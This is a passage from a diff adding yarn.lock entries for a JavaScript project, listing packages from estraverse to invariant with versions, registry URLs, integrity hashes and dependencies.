+  integrity sha512-KmfKL3b6G+RXvP8N1vr3Tq1kL/oCFgn2NYXEtqP8/L3pKapUA4G8cFVaoF3SU323CD4XypR/ffioHmkti6/Tag==
+  dependencies:
+    estraverse "^5.2.0"
+
+estraverse@^5.1.0, estraverse@^5.2.0, estraverse@^5.3.0:
+  version "5.3.0"
+  resolved "https://registry.yarnpkg.com/estraverse/-/estraverse-5.3.0.tgz#2eea5290702f26ab8fe5370370ff86c965d21123"
+  integrity sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==
+
+esutils@^2.0.2:
+  version "2.0.3"
+  resolved "https://registry.yarnpkg.com/esutils/-/esutils-2.0.3.tgz#74d2eb4de0b8da1293711910d50775b9b710ef64"
+  integrity sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==
+
+fast-deep-equal@^3.1.1, fast-deep-equal@^3.1.3:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz#3a7d56b559d6cbc3eb512325244e619a65c6c525"
+  integrity sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==
+
+fast-glob@3.3.1:
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.3.1.tgz#784b4e897340f3dbbef17413b3f11acf03c874c4"
+  integrity sha512-kNFPyjhh5cKjrUltxs+wFx+ZkbRaxxmZ+X0ZU31SOsxCEtP9VPgtq2teZw1DebupL5GmDaNQ6yKMMVcM41iqDg==
+  dependencies:
+    "@nodelib/fs.stat" "^2.0.2"
+    "@nodelib/fs.walk" "^1.2.3"
+    glob-parent "^5.1.2"
+    merge2 "^1.3.0"
+    micromatch "^4.0.4"
+
+fast-glob@^3.3.0, fast-glob@^3.3.2:
+  version "3.3.2"
+  resolved "https://registry.yarnpkg.com/fast-glob/-/fast-glob-3.3.2.tgz#a904501e57cfdd2ffcded45e99a54fef55e46129"
+  integrity sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==
+  dependencies:
+    "@nodelib/fs.stat" "^2.0.2"
+    "@nodelib/fs.walk" "^1.2.3"
+    glob-parent "^5.1.2"
+    merge2 "^1.3.0"
+    micromatch "^4.0.4"
+
+fast-json-stable-stringify@^2.0.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz#874bf69c6f404c2b5d99c481341399fd55892633"
+  integrity sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==
+
+fast-levenshtein@^2.0.6:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz#3d8a5c66883a16a30ca8643e851f19baa7797917"
+  integrity sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==
+
+fastq@^1.6.0:
+  version "1.17.1"
+  resolved "https://registry.yarnpkg.com/fastq/-/fastq-1.17.1.tgz#2a523f07a4e7b1e81a42b91b8bf2254107753b47"
+  integrity sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==
+  dependencies:
+    reusify "^1.0.4"
+
+file-entry-cache@^6.0.1:
+  version "6.0.1"
+  resolved "https://registry.yarnpkg.com/file-entry-cache/-/file-entry-cache-6.0.1.tgz#211b2dd9659cb0394b073e7323ac3c933d522027"
+  integrity sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==
+  dependencies:
+    flat-cache "^3.0.4"
+
+fill-range@^7.1.1:
+  version "7.1.1"
+  resolved "https://registry.yarnpkg.com/fill-range/-/fill-range-7.1.1.tgz#44265d3cac07e3ea7dc247516380643754a05292"
+  integrity sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==
+  dependencies:
+    to-regex-range "^5.0.1"
+
+find-up@^5.0.0:
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/find-up/-/find-up-5.0.0.tgz#4c92819ecb7083561e4f4a240a86be5198f536fc"
+  integrity sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==
+  dependencies:
+    locate-path "^6.0.0"
+    path-exists "^4.0.0"
+
+flat-cache@^3.0.4:
+  version "3.2.0"
+  resolved "https://registry.yarnpkg.com/flat-cache/-/flat-cache-3.2.0.tgz#2c0c2d5040c99b1632771a9d105725c0115363ee"
+  integrity sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==
+  dependencies:
+    flatted "^3.2.9"
+    keyv "^4.5.3"
+    rimraf "^3.0.2"
+
+flatted@^3.2.9:
+  version "3.3.1"
+  resolved "https://registry.yarnpkg.com/flatted/-/flatted-3.3.1.tgz#21db470729a6734d4997002f439cb308987f567a"
+  integrity sha512-X8cqMLLie7KsNUDSdzeN8FYK9rEt4Dt67OsG/DNGnYTSDBG4uFAJFBnUeiV+zCVAvwFy56IjM9sH51jVaEhNxw==
+
+follow-redirects@^1.15.6:
+  version "1.15.9"
+  resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.15.9.tgz#a604fa10e443bf98ca94228d9eebcc2e8a2c8ee1"
+  integrity sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==
+
+for-each@^0.3.3:
+  version "0.3.3"
+  resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.3.tgz#69b447e88a0a5d32c3e7084f3f1710034b21376e"
+  integrity sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==
+  dependencies:
+    is-callable "^1.1.3"
+
+for-each@^0.3.5:
+  version "0.3.5"
+  resolved "https://registry.yarnpkg.com/for-each/-/for-each-0.3.5.tgz#d650688027826920feeb0af747ee7b9421a41d47"
+  integrity sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==
+  dependencies:
+    is-callable "^1.2.7"
+
+foreground-child@^3.1.0:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/foreground-child/-/foreground-child-3.3.0.tgz#0ac8644c06e431439f8561db8ecf29a7b5519c77"
+  integrity sha512-Ld2g8rrAyMYFXBhEqMz8ZAHBi4J4uS1i/CxGMDnjyFWddMXLVcDp051DZfu+t7+ab7Wv6SMqpWmyFIj5UbfFvg==
+  dependencies:
+    cross-spawn "^7.0.0"
+    signal-exit "^4.0.1"
+
+form-data@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/form-data/-/form-data-4.0.0.tgz#93919daeaf361ee529584b9b31664dc12c9fa452"
+  integrity sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==
+  dependencies:
+    asynckit "^0.4.0"
+    combined-stream "^1.0.8"
+    mime-types "^2.1.12"
+
+fraction.js@^4.3.7:
+  version "4.3.7"
+  resolved "https://registry.yarnpkg.com/fraction.js/-/fraction.js-4.3.7.tgz#06ca0085157e42fda7f9e726e79fefc4068840f7"
+  integrity sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==
+
+fs.realpath@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/fs.realpath/-/fs.realpath-1.0.0.tgz#1504ad2523158caa40db4a2787cb01411994ea4f"
+  integrity sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==
+
+fsevents@2.3.2:
+  version "2.3.2"
+  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.2.tgz#8a526f78b8fdf4623b709e0b975c52c24c02fd1a"
+  integrity sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA==
+
+fsevents@~2.3.2:
+  version "2.3.3"
+  resolved "https://registry.yarnpkg.com/fsevents/-/fsevents-2.3.3.tgz#cac6407785d03675a2a5e1a5305c697b347d90d6"
+  integrity sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==
+
+function-bind@^1.1.2:
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/function-bind/-/function-bind-1.1.2.tgz#2c02d864d97f3ea6c8830c464cbd11ab6eab7a1c"
+  integrity sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==
+
+function.prototype.name@^1.1.6:
+  version "1.1.6"
+  resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.6.tgz#cdf315b7d90ee77a4c6ee216c3c3362da07533fd"
+  integrity sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==
+  dependencies:
+    call-bind "^1.0.2"
+    define-properties "^1.2.0"
+    es-abstract "^1.22.1"
+    functions-have-names "^1.2.3"
+
+function.prototype.name@^1.1.8:
+  version "1.1.8"
+  resolved "https://registry.yarnpkg.com/function.prototype.name/-/function.prototype.name-1.1.8.tgz#e68e1df7b259a5c949eeef95cdbde53edffabb78"
+  integrity sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==
+  dependencies:
+    call-bind "^1.0.8"
+    call-bound "^1.0.3"
+    define-properties "^1.2.1"
+    functions-have-names "^1.2.3"
+    hasown "^2.0.2"
+    is-callable "^1.2.7"
+
+functions-have-names@^1.2.3:
+  version "1.2.3"
+  resolved "https://registry.yarnpkg.com/functions-have-names/-/functions-have-names-1.2.3.tgz#0404fe4ee2ba2f607f0e0ec3c80bae994133b834"
+  integrity sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==
+
+gensync@^1.0.0-beta.2:
+  version "1.0.0-beta.2"
+  resolved "https://registry.yarnpkg.com/gensync/-/gensync-1.0.0-beta.2.tgz#32a6ee76c3d7f52d46b2b1ae5d93fea8580a25e0"
+  integrity sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==
+
+get-caller-file@^2.0.5:
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/get-caller-file/-/get-caller-file-2.0.5.tgz#4f94412a82db32f36e3b0b9741f8a97feb031f7e"
+  integrity sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==
+
+get-intrinsic@^1.1.3, get-intrinsic@^1.2.1, get-intrinsic@^1.2.2, get-intrinsic@^1.2.3, get-intrinsic@^1.2.4:
+  version "1.2.4"
+  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.2.4.tgz#e385f5a4b5227d449c3eabbad05494ef0abbeadd"
+  integrity sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==
+  dependencies:
+    es-errors "^1.3.0"
+    function-bind "^1.1.2"
+    has-proto "^1.0.1"
+    has-symbols "^1.0.3"
+    hasown "^2.0.0"
+
+get-intrinsic@^1.2.5, get-intrinsic@^1.2.6, get-intrinsic@^1.2.7, get-intrinsic@^1.3.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz#743f0e3b6964a93a5491ed1bffaae054d7f98d01"
+  integrity sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==
+  dependencies:
+    call-bind-apply-helpers "^1.0.2"
+    es-define-property "^1.0.1"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.1.1"
+    function-bind "^1.1.2"
+    get-proto "^1.0.1"
+    gopd "^1.2.0"
+    has-symbols "^1.1.0"
+    hasown "^2.0.2"
+    math-intrinsics "^1.1.0"
+
+get-proto@^1.0.0, get-proto@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/get-proto/-/get-proto-1.0.1.tgz#150b3f2743869ef3e851ec0c49d15b1d14d00ee1"
+  integrity sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==
+  dependencies:
+    dunder-proto "^1.0.1"
+    es-object-atoms "^1.0.0"
+
+get-symbol-description@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.0.2.tgz#533744d5aa20aca4e079c8e5daf7fd44202821f5"
+  integrity sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==
+  dependencies:
+    call-bind "^1.0.5"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.4"
+
+get-symbol-description@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/get-symbol-description/-/get-symbol-description-1.1.0.tgz#7bdd54e0befe8ffc9f3b4e203220d9f1e881b6ee"
+  integrity sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==
+  dependencies:
+    call-bound "^1.0.3"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+
+get-tsconfig@^4.7.5:
+  version "4.8.1"
+  resolved "https://registry.yarnpkg.com/get-tsconfig/-/get-tsconfig-4.8.1.tgz#8995eb391ae6e1638d251118c7b56de7eb425471"
+  integrity sha512-k9PN+cFBmaLWtVz29SkUoqU5O0slLuHJXt/2P+tMVFT+phsSGXGkp9t3rQIqdz0e+06EHNGs3oM6ZX1s2zHxRg==
+  dependencies:
+    resolve-pkg-maps "^1.0.0"
+
+glob-parent@^5.1.2, glob-parent@~5.1.2:
+  version "5.1.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-5.1.2.tgz#869832c58034fe68a4093c17dc15e8340d8401c4"
+  integrity sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==
+  dependencies:
+    is-glob "^4.0.1"
+
+glob-parent@^6.0.2:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/glob-parent/-/glob-parent-6.0.2.tgz#6d237d99083950c79290f24c7642a3de9a28f9e3"
+  integrity sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==
+  dependencies:
+    is-glob "^4.0.3"
+
+glob@^10.3.10:
+  version "10.4.5"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-10.4.5.tgz#f4d9f0b90ffdbab09c9d77f5f29b4262517b0956"
+  integrity sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==
+  dependencies:
+    foreground-child "^3.1.0"
+    jackspeak "^3.1.2"
+    minimatch "^9.0.4"
+    minipass "^7.1.2"
+    package-json-from-dist "^1.0.0"
+    path-scurry "^1.11.1"
+
+glob@^7.1.3:
+  version "7.2.3"
+  resolved "https://registry.yarnpkg.com/glob/-/glob-7.2.3.tgz#b8df0fb802bbfa8e89bd1d938b4e16578ed44f2b"
+  integrity sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==
+  dependencies:
+    fs.realpath "^1.0.0"
+    inflight "^1.0.4"
+    inherits "2"
+    minimatch "^3.1.1"
+    once "^1.3.0"
+    path-is-absolute "^1.0.0"
+
+globals@^11.1.0:
+  version "11.12.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-11.12.0.tgz#ab8795338868a0babd8525758018c2a7eb95c42e"
+  integrity sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==
+
+globals@^13.19.0:
+  version "13.24.0"
+  resolved "https://registry.yarnpkg.com/globals/-/globals-13.24.0.tgz#8432a19d78ce0c1e833949c36adb345400bb1171"
+  integrity sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==
+  dependencies:
+    type-fest "^0.20.2"
+
+globalthis@^1.0.3, globalthis@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/globalthis/-/globalthis-1.0.4.tgz#7430ed3a975d97bfb59bcce41f5cabbafa651236"
+  integrity sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==
+  dependencies:
+    define-properties "^1.2.1"
+    gopd "^1.0.1"
+
+goober@^2.0.33:
+  version "2.1.14"
+  resolved "https://registry.yarnpkg.com/goober/-/goober-2.1.14.tgz#4a5c94fc34dc086a8e6035360ae1800005135acd"
+  integrity sha512-4UpC0NdGyAFqLNPnhCT2iHpza2q+RAY3GV85a/mRPdzyPQMsj0KmMMuetdIkzWRbJ+Hgau1EZztq8ImmiMGhsg==
+
+gopd@^1.0.1:
+  version "1.0.1"
+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.0.1.tgz#29ff76de69dac7489b7c0918a5788e56477c332c"
+  integrity sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==
+  dependencies:
+    get-intrinsic "^1.1.3"
+
+gopd@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/gopd/-/gopd-1.2.0.tgz#89f56b8217bdbc8802bd299df6d7f1081d7e51a1"
+  integrity sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==
+
+graceful-fs@^4.2.4:
+  version "4.2.11"
+  resolved "https://registry.yarnpkg.com/graceful-fs/-/graceful-fs-4.2.11.tgz#4183e4e8bf08bb6e05bbb2f7d2e0c8f712ca40e3"
+  integrity sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==
+
+graphemer@^1.4.0:
+  version "1.4.0"
+  resolved "https://registry.yarnpkg.com/graphemer/-/graphemer-1.4.0.tgz#fb2f1d55e0e3a1849aeffc90c4fa0dd53a0e66c6"
+  integrity sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==
+
+has-bigints@^1.0.1, has-bigints@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-bigints/-/has-bigints-1.0.2.tgz#0871bd3e3d51626f6ca0966668ba35d5602d6eaa"
+  integrity sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==
+
+has-flag@^3.0.0:
+  version "3.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-3.0.0.tgz#b5d454dc2199ae225699f3467e5a07f3b955bafd"
+  integrity sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==
+
+has-flag@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
+  integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
+
+has-property-descriptors@^1.0.0, has-property-descriptors@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz#963ed7d071dc7bf5f084c5bfbe0d1b6222586854"
+  integrity sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==
+  dependencies:
+    es-define-property "^1.0.0"
+
+has-proto@^1.0.1, has-proto@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.0.3.tgz#b31ddfe9b0e6e9914536a6ab286426d0214f77fd"
+  integrity sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==
+
+has-proto@^1.2.0:
+  version "1.2.0"
+  resolved "https://registry.yarnpkg.com/has-proto/-/has-proto-1.2.0.tgz#5de5a6eabd95fdffd9818b43055e8065e39fe9d5"
+  integrity sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==
+  dependencies:
+    dunder-proto "^1.0.0"
+
+has-symbols@^1.0.2, has-symbols@^1.0.3:
+  version "1.0.3"
+  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.0.3.tgz#bb7b2c4349251dce87b125f7bdf874aa7c8b39f8"
+  integrity sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==
+
+has-symbols@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/has-symbols/-/has-symbols-1.1.0.tgz#fc9c6a783a084951d0b971fe1018de813707a338"
+  integrity sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==
+
+has-tostringtag@^1.0.0, has-tostringtag@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz#2cdc42d40bef2e5b4eeab7c01a73c54ce7ab5abc"
+  integrity sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==
+  dependencies:
+    has-symbols "^1.0.3"
+
+hasown@^2.0.0, hasown@^2.0.1, hasown@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/hasown/-/hasown-2.0.2.tgz#003eaf91be7adc372e84ec59dc37252cedb80003"
+  integrity sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==
+  dependencies:
+    function-bind "^1.1.2"
+
+hermes-eslint@^0.25.0:
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/hermes-eslint/-/hermes-eslint-0.25.0.tgz#beec5f0d9e9e9bdef9e4a420a79038ca7fe84143"
+  integrity sha512-D9rdrqt7dudZHI5AJKS+1vXBbxxR6Wj9J1JI7eYowYCbXUIvHclsWFy8gSuRmug2V6HSYpsiyPwP3kQs/Q/Y8w==
+  dependencies:
+    esrecurse "^4.3.0"
+    hermes-estree "0.25.0"
+    hermes-parser "0.25.0"
+
+hermes-estree@0.25.0:
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/hermes-estree/-/hermes-estree-0.25.0.tgz#fd926ebf3d0d3441a934f19ef3d3d3d4145b1d71"
+  integrity sha512-xjILoUIyOpLoOHqj8UJs/HNYQ279IfLKTTv9nmXKNT2+QKT/TQF9AyQFrRMo+3xwZoO7k4azocYpCzA1cSvBDg==
+
+hermes-parser@0.25.0, hermes-parser@^0.25.0:
+  version "0.25.0"
+  resolved "https://registry.yarnpkg.com/hermes-parser/-/hermes-parser-0.25.0.tgz#634934533a956e392ae0988421e4b0315e30351e"
+  integrity sha512-CeAdhgMfbZcrYh+HHKVKsj7VNhOTr0jiLFlcVVoRORbZ/Nr4J90WjEq2CZoahgH15/DYY/VBhuLqpIzJqfdBEQ==
+  dependencies:
+    hermes-estree "0.25.0"
+
+ignore@^5.2.0, ignore@^5.3.1:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/ignore/-/ignore-5.3.2.tgz#3cd40e729f3643fd87cb04e50bf0eb722bc596f5"
+  integrity sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==
+
+import-fresh@^3.2.1:
+  version "3.3.0"
+  resolved "https://registry.yarnpkg.com/import-fresh/-/import-fresh-3.3.0.tgz#37162c25fcb9ebaa2e6e53d5b4d88ce17d9e0c2b"
+  integrity sha512-veYYhQa+D1QBKznvhUHxb8faxlrwUnxseDAbAp457E0wLNio2bOSKnjYDhMj+YiAq61xrMGhQk9iXVk5FzgQMw==
+  dependencies:
+    parent-module "^1.0.0"
+    resolve-from "^4.0.0"
+
+imurmurhash@^0.1.4:
+  version "0.1.4"
+  resolved "https://registry.yarnpkg.com/imurmurhash/-/imurmurhash-0.1.4.tgz#9218b9b2b928a238b13dc4fb6b6d576f231453ea"
+  integrity sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==
+
+inflight@^1.0.4:
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/inflight/-/inflight-1.0.6.tgz#49bd6331d7d02d0c09bc910a1075ba8165b56df9"
+  integrity sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==
+  dependencies:
+    once "^1.3.0"
+    wrappy "1"
+
+inherits@2:
+  version "2.0.4"
+  resolved "https://registry.yarnpkg.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
+  integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
+
+internal-slot@^1.0.4, internal-slot@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.0.7.tgz#c06dcca3ed874249881007b0a5523b172a190802"
+  integrity sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g==
+  dependencies:
+    es-errors "^1.3.0"
+    hasown "^2.0.0"
+    side-channel "^1.0.4"
+
+internal-slot@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/internal-slot/-/internal-slot-1.1.0.tgz#1eac91762947d2f7056bc838d93e13b2e9604961"
+  integrity sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==
+  dependencies:
+    es-errors "^1.3.0"
+    hasown "^2.0.2"
+    side-channel "^1.1.0"
+
+invariant@^2.2.4:
